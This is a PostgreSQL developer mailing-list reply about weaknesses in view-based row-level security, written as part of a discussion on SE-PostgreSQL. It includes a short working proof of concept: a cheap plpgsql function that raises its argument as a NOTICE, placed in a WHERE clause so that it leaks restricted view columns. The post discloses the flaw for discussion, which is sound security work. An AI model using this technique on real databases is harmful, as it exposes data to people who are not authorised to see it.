Re: SE-PostgreSQL and row level security/Alternatives

On 02/16/2009 04:23 PM, Kevin Grittner wrote:
>>>> Tom Lane<tgl(at)sss(dot)pgh(dot)pa(dot)us> wrote:
>> We have seen no evidence that anyone has a worked-out
>> set of design rules that make a SE-Postgres database secure against
>> these issues, so the whole thing is pie in the sky.
> I've seen several mentions of the rule "Don't use a column containing
> data you want to secure as part of the primary key." mentioned several
> times in these threads. I think that just might be the complete set.
> Can anyone show that it's not?
Well, there is at least one additional which currently is not discussed,
namely statistics/EXPLAIN [ANALYZE].
And it hits the often proposed method of using VIEWs as a form of row
level access control quite a bit harder than SE-Postgresql:

1. The planner selection estimates might tell you more than allowed
2. The planner execution statistics might tell you even more (view based
security only)

Generally view based security is not really secure if somebody is
allowed to create own functions (PGs restricted views for example are not):
Create a function with very low cost like:

CREATE OR REPLACE FUNCTION do_tell(anyelement)
RETURNS bool
COST 0.1
VOLATILE
LANGUAGE plpgsql
AS $body$
BEGIN
raise notice 'hah: %s', $1::text;
return true;
END;
$body$;

And do a simple query to the restricted schema:

SELECT * FROM restricted_view WHERE do_tell(secret_column);

PG will now happily raise NOTICEs for any columns because do_tell will
be checked first.

Thinking about it, this even sounds like a more general security issue?

Andres